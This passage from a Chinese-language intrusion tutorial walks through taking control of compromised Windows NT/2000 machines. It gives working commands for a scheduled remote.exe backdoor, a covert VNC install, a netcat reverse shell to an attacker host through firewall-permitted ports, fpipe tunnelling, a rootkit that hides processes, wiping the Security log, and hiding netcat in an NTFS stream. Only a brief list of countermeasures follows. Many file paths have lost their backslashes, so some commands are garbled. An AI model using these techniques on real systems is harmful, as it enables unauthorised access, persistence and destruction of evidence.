**远程作业
得到了帐户、种植了Sniffer,但是固执的Blackhat并不因此而禁止他们的控制欲望。后门的威胁也就随之而来。这里我所安装的仅仅是一个简单的远程命令行工具remote.exe,它可以使用/C参数来启动客户模式,而使用/S来启动服务器模式,因此在远程机器使用AT指令设置了启动时间。假如服务器没有启动调度服务,那么使用sc.exe使其启动,剩下的工作就让调度为我们工作,步骤简叙如下:
1.拷贝remote.exe和sc.exe到目标机器,方法很多,诸如使用net use等方法(记住,此时你应该具有权限帐号)。
2.启动调度服务
C:oolbox>sc \target_machine start schedule
3.检查目标系统的时间,方便对时
C:oolbox>net time \target_machine
Current time at \target_machine is {date} {time} {PM/AM}
……
4.使用AT指令在目标上启动remote.exe服务
C:oolbox>at \target_machine {time} ““remote /s cmd passwd””
Added a new job with job ID=13
5.测试服务 C:oolbox>remote /c {target_ip_addr} passwd
**************************************
********** remote ****************
********** Client ****************
**************************************
Connected..
Microsft(R) Windows NT(TM)
(C) Copyright 1985-1998 Micrsoft Corp.
C:>dir winntsystem32configsam
驱动器 C 中的卷没有标签。
卷的序列号是 3DCC-5BF7
C:winntsystem32config 的目录
2003-02-24 22:41 9,865 sam
1 个文件 9,865 字节
0 个目录 2,509,623,296 可用字节
C:>@q #退出远程系统
费力,敲入那么多命令,相信懒惰的攻击天才们决少数也这么固执的,于是建立于懒惰思维的图形控制想法也就变的不足为奇了。
**winvnc的劫持
虽然网络里诸如pcanywhere、netbus等有名的图形控制工具相当具有杀伤力,不过我这里要特别介绍VNC这个容易安装,且具有免费和自由气质的控制工具。但是,安装这个小巧精致的装置,仍然需要稍微复杂些的特技。
首先,需要拷贝VNC服务器到目标机器(这里为:winvnc.exe,vnchooks.dll,othread2.dll三个文件),但是我们必须通过设置VNC服务器才能使其正常运行,一般是通过GUI的方式进行配置,但是我们在远程启动VNC启动,必然在目标机器上弹出一个GUI对话框(没有哪个Blackhat会愿意看到如此结果吧!)。好的,我们可以这样设想:其目标机器的设置文件把最终的配置写入注册表中,那么只要我们的机器与目标机器是同一操作系统的化,本地的注册表键值VNC结构一定与目标机器相差无几。
根据这个聪明的想法,于是我们有了新的思路:在本地安装并配置VNC服务器,并使用NTRK赐予我们的精良武器regdmp.exe转储本地VNC注册表键值并使用regini.exe把所需要的项目直接添加到远程注册表中,这样就能够启动服务器,以下是步骤简概:
C: >regdmp HKCUSoftwareorlwinvnc3 >vnc.ini
#导出注册表VNC服务器设置键值
C:>regini –m {target_machine} vnc.ini
#把注册表键值添加入远程机器注册表
#登录远程机器,安装并启动VNC服务
C:>winvnc –install
C:>net start winvnc
通过vncviewer客户端就可以静静的以图形界面方式观察远程机器的任何动作,这类幽雅的管理方法很受管理管理员的称赞,同时也受到Blackhat的青睐。不过,VNC的进程却是无法隐藏的,因此只需要小心系统内部进程就可以发现其藏匿的踪影。
**防火墙下的暗道
前面所探讨的控制权利似乎都基于了网络管理不设防行为而布置的策略,然而,现实世界的网络中必然不能缺少防火墙之类的堡垒的。于是前面的思维模式似乎变的到处碰壁,无计可施。
总所周知,防火墙总是放行一些“行为端正”的数据通过自身,源于这个要点,我们实现了架设防火墙下暗道的思路:在防火墙内部尽力得到一部受“污染”的机器,在其上安装端口重定向软件并监听端口,将监听获得的原始分组转发到特定的第二目标。为了便于理解,下面我们就以著名的nc.exe做个端口重定向的小实验:
首先,在攻击者机器<intrude.org>分别使用两个命令行终端,记住是不同的两个终端窗口。其中一个窗口监听80端口,另一个端口监测25端口。
C:oolbox>nc –nvv –l –p 80
C:oolbox>nc –nvv –l –p 25
其次,在防火墙内部的机器使用shell回铲的办法(这里假设受污染机器<dirty.net>上已经有nc.exe并且安装远程执行命令服务):
C:oolbox>nc intrude.com 80 | cmd.exe | nc intrude.org 25
一般,防火墙总会允许http和smtp服务的数据进出,这样,上面的命令就可以从受污染的机器铲回一个远程命令shell来控制防火墙内部机器(在入侵者的机器中,在监听80端口的窗口输入命令,其结果就可以在监听25端口的窗口显示出来),甚至渗透整个内部网络。这种暗道的正确说法也被称为回铲(shovel)。
这种令初学者头晕的思维实在模糊,一个简单易用的端口重定向工具rinetd,其使用非常简单,只需要创建一个转发配置文件就可以启动。然而,为节省篇幅,下面讲述将是基于重定向原理而产生的精品fpipe。
fpipe最绝妙的地方在于它实现了隧道原理。通常防火墙只允许必要的服务端口通过,比如源端口53就可以通过防火墙为内网客户端解析域名。而fpipe可以指定53此类源端口,透过防火墙建立连接;一旦防火墙后客户连接此类伪造端口,就可以建立一个隧道传输telnet所必须的命令,也即端口重定向到23端口,回送一个telnet连接,而防火墙因为其源端口是“正常”端口,于是整个玲珑精致的攻击就如此发生: C:>fpipe -v -l 53 –s 53 -r 23 192.168.1.10FPipe v2.04 - TCP port redirector.Copyright 2000 (c) by Foundstone, Inchttp://www.foundstone.comConnection accepted from 192.168.1.10 port 3794Attemption to connect to 192.168.1.10 port 23Pipe connected: In: 192.168.1.10:3749 - -> 192.168.1.4:53 Out: 192.168.1.4:53 - -> 192.168.1.10 23 ……
从以上实验,可以清楚的看见fpipe精致的端口重定向的特点,并看出回送的telnet的连接。这样的“合法渗透”让人不寒而栗。
**终极损毁
Unix世界流传着Rootkit的邪恶事迹,通过对内核的篡改/编译,这些Rootkit傀儡帮助Blackhat在字符世界为所欲为。然而,当Windows世界也新生了这样的鬼怪,于是视窗世界也变的混乱模糊了。Hoglund制作的rootkit可以执行注册表键的隐藏及exe重定向,从而可以对正常程序注射木马而不改变其内容。通过对NT/W2K核心程序添补,篡夺系统调用,从而隐藏进程、注册表或文件,也可重定向程序调用到木马进程中。结果这种恶意的行为使我们对所有程序的执行完全失去了信心。
其相关软件可www.megasecurity.org/Tools/nt_rootkit_all.html或www.rookit.com查询(本文所附带的toolbox也包括这个软件)。它包括_root_.sys和deploy.exe。运行deploy.exe并启动net start _root_就启动rootkit。于是,注册表中以_root_的键值将在regedit.exe/regedt32.exe的视图中隐藏。对于目前的4.0版本添加了键盘击键记录的功能;系统中任何以_root_开头的进程也将隐藏。
至于端口重定向的问题,我们将进行一个实验来展示其精妙之处。首先,启动rootkit,拷贝一个可执行文件,比如:calc.exe到C:est目录下面。接着,重命名cmd.exe为_root_cmd.exe并拷贝到C:est下面。这时候rootkit程序会自动识辨_root_开头的程序,并重定向其到calc.exe,因此当运行_root_cmd.exe会出现计算器的界面(通过这种方式启动木马程序容易之极)。之后,关闭rootkit服务,使用Ultraedit比较cmd.exe和_root_cmd.exe,居然两者内容一致。这种令人可畏的做法让我十分敬佩Hoglund的思维模式。
有必要提到的一点变是,在系统中控制安装操作这些“精品”软件动作一般会由系统记录在案,而系统管理员每日任务之一也就是查看这些珍贵的日志文件。Lauritsen经过辛苦的分析复杂的NT日志语法,编写了elsave工具能适应这种抹除痕迹要求。下面句法将清除远程机器上安全日志的结果(需要得到目标机器合适的特权):
C:oolbox>elsave –s \remote_machine -l “Security” –C
**流的伪装
最后,在探讨关于NTFS提供文件内分化多个信息流(streaming)的支持。这种特性使得我们可以在获得系统权限的主机上藏污纳垢。下面的例子则是简单把nc.exe藏匿和运行的流应用(工具取自POSIX中CP工具,下载地址<http://home.socal.rr.com/err0neous/POSIX/>;;):
C:oolboxposix>cp nc.exe 1357298.tmp:nc.exe
对于分流后的文件,前前端(1357298.tmp)仍能执行其作用,而后端(nc.exe)则需要使用:C:>start 1357298.tmp:nc.exe来执行。
【小结提要】
通过前面几小节的探讨和研究,稍微浅尝黑客世界里精湛技艺,也稍微掌握了一些系统入侵的基本思路和行为模式。对于上叙已经的攻击方式,当然已经有了相应的对策,为节约时间,这里列举四个小对策,其他资料可到google查询:
1、限定注册表的远程访问
regedt32-->安全菜单|权限==>关闭 NT Everyone读写权限和完全控制权限。
2、监测可疑端口
netstat -an | find "12345" http://www.foundstone.com 的fport工具也能实现如此功能!)
3、指纹检查技术(fingerprint),防止程序或文件被恶意修改,这里使用MD技术: D:>md5 d:est.txt>d:est.md5
D:>cat d:est.md5
efd3907b037774d831596f2c1b14a d:\test.txt
D:>md5sum --check d:est.md5
4、关闭W2K文件和打印共享属性
网络和拨号连接*“高级”菜单*高级设置*取消“Microsoft网络的文件与打印机共享”。
至此,我们完成了NT/W2K的漫游旅程。歇息一下,我们进入字符与命令的神奇世界。
*Unix/Linux,命令与脚本的天堂
Unix的历史很悠久,因此也有了许多动人的传奇故事。Eric所维护的Jargon File中,记载着这个世界很多围绕它而诞生的英雄史诗;而作为新星的Linux则在计算机的发展取到了推动作用,GNU的原则,让我们终于没有了技术界线和垄断。这里充满和平和自由,于是这里的天地将更赋有期待和激情。
【溢出初步】
关于溢出的这个问题,我记得曾经在1999-2001年的时候狂热的风行好些时候,那时候狂人们似乎有用不完的力气,于是溢出攻击的工具齐全了,溢出攻击的手段也逐渐偏向简单化。
以下是堆栈溢出原理的简单程序示例(本代码摘自
http://www.w00w00.org/files/heaptut/heaptut.txt): #include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define BUFSIZE 16#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */int main(){u_long diff;char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);diff = (u_long)buf2 - (u_long)buf1;printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes
", buf1, buf2, diff);memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '